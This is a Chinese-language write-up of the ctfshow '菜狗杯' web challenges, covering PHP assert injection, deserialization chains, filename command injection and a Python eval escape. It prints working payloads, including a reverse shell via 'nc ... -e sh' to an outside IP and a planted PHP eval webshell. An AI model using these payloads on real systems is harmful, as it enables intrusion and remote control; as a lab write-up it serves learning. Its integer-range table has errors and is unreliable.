ctfshow-菜狗杯-web
菜狗杯
一言既出
打开题目就是一个朴实无华的php代码
我们分析一下:
需要传入一个num的参数,使num==114514,后面经过intval转化后要num==1919810,否则直接结束进程
这下就有点难办了,但其实我们只要其实闭合一下这个assert函数,不让这个结束的条件成立就行,payload如下
num=114514);//
或者还有一种解法,用了%2B,这是加号+的url编码
当我们输入一下payload
num=114514%2B(1919810-114514)
解释一下payload,其实在第一次判断的时候,他的值是114514,这就完成了第一次判断,但是当第二次判断,在intval函数下,他会先进行运算,然后再将结果进行判断,这就完成了payload。
驷马难追
打开题目和上道题一样
唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用那个url编码,同时利用intval函数的特性去构造payload。
payload如下
num=114514%2B1919810-114514
TapTapTap
打开题目是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL
功夫不负有心人,也是找到了一串可疑的base64的代码
解码得到,得知flag在这个路径下面
直接访问这个文件,成功拿到flag
Webshell
打开题目,是php反序列化的题
具体来说这个流程就是
new Webshell()->__construct->__init->exec()
最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了
我们打开php在线,去构造一下PHP 在线工具 | 菜鸟工具 (jyshare.com)
构造代码如下:
<?php
error_reporting(0);
class Webshell {
public $cmd = 'ls';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
$a=new Webshell();
echo urlencode(serialize($a))
?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
然后我们传一下参数看看行不,发现的确可以
注意前面代码,我们不能输入flag,被过滤了,所以这里我们使用通配符*****
这里我们只用把构造代码中的 cmd的值更改一下
public $cmd = 'cat f*';
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
传参后发现一片空白,F12看一下源码,的确在里面
化零为整
打开题目,就是php代码,十分害怕
我们分析一下代码
$_GET,就是接受了多少了多少个参数
if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符
我们往后看,result这个变量会拼接我们输入进去的参数
最后当result==“大牛”,才会输出flag
这个时候问题就是我们如何输入“大牛”,每次只能才能输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符
然后构造payload:
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
这道题就是0=? //传啥都行
payload如下
0=1
传说之下(雾)
是一个小游戏,小玩一会
应该还是js小游戏,F12直接找,分数用的score,我们直接搜索
我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字
找到之后,直接控制台修改,
Game.score=3000
暂停修改过后,我们直接回到游戏,吃一个豆,分数就够了,得到flag
算力超群
打开题目就是一个计算器,我们运行一个计算,抓包看看
当我们把number2改为非法的字符串的时候
返回的页面如下所示:
发现路径为 /app/app.py
危险的函数如下:
result=eval(a + operator +b)
搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户
[PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)
直接反弹shell
_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')
拿到flag
算力升级(未做出来)
还不会,pass
easyPytHon_P
这道题是给了源码
我们分析一下,我们需要传入两个参数 一个 cmd 一个 param,后面有个命令执行的函数,所以我们需要构造一个命令,用这两个参数,但是 cmd 是有限制的,只能读取三位,分析完毕,我们开始构造payload
cmd=ls¶m=/
但是我们传参数始终不对,没有得到我们想要的结果,其实这里又考了flask的传参,其实不是GET传参,而是POST
flask的传参方式
- get请求
request.args.get("key") 获取get请求参数
- post请求
request.form.get("key", type=str, default=None) 获取表单数据
request.values.get("key") 获取所有参数
所以这里我们用hackbar POST传参就行了
其实flag没在根目录,就在当前的目录,那我们直接就读取了
cmd=cat¶m=./flag.txt
遍地飘零
变量覆盖问题CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)
payload
_GET=flag
茶歇区
考的是整数溢出,以下是常见的数值范围
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
让我拿东西得分,我直接弄了很多,直接负数很离谱
我继续这样,就flag了
小舔田?
打开题目就是源码,看的出来是反序列化
先补充魔术方法吧
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
然后我们来构造链子
Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call
分析完毕,打开php在线,开始操作、
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}
}
public function __toString(){
$this->call();
}
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
LSB探姬
打开题目,我上传了一个图片,以为是文件上传,也返回了upload/1.jpg,但是访问不到这个,所以这题不是文件上传题。
然后我们翻看源码,看到危险的函数
所以我们可以把文件名这里动一些手脚,让他去执行命令,我们上传文件的时候,抓一下包,改一下
payload
1.jpg;ls
返回的响应如下
那我们就查看一下
1.jpg;cat flag.py
Is_Not_Obfuscate
打开题目,F12
发现可以执行加密代码,然后有个 robots.txt ,我们访问一下
得到了
lib.php?flag=0
访问一篇空白,我们flag的值改为 1,查看源码,显示如下
接下来我们回到主界面去给加密代码弄一下,由于这些加密代码有很多符号之类的,我们先给他url编码一下
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT
payload如下(因为前面说action值需要为test,这里记得更改一下)
?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT&action=test&output=
回显如下
分析一下代码,我们最后利用的push传入危险代码,文件会在plugins/md5(你的输入的变量+youyou)然后pull来去执行
那我们就写马进入
?action=push&output=<?php eval($_GET[1]);?>youyou
然后我们MD5加密一下看一下生成的是什么
<?php eval($_GET[1]);?>youyou
d6e1f0ec8980b49f6061227495a77a44
然后我们利用pull去执行
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("ls /");
然后直接查看flag
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat%20/f*");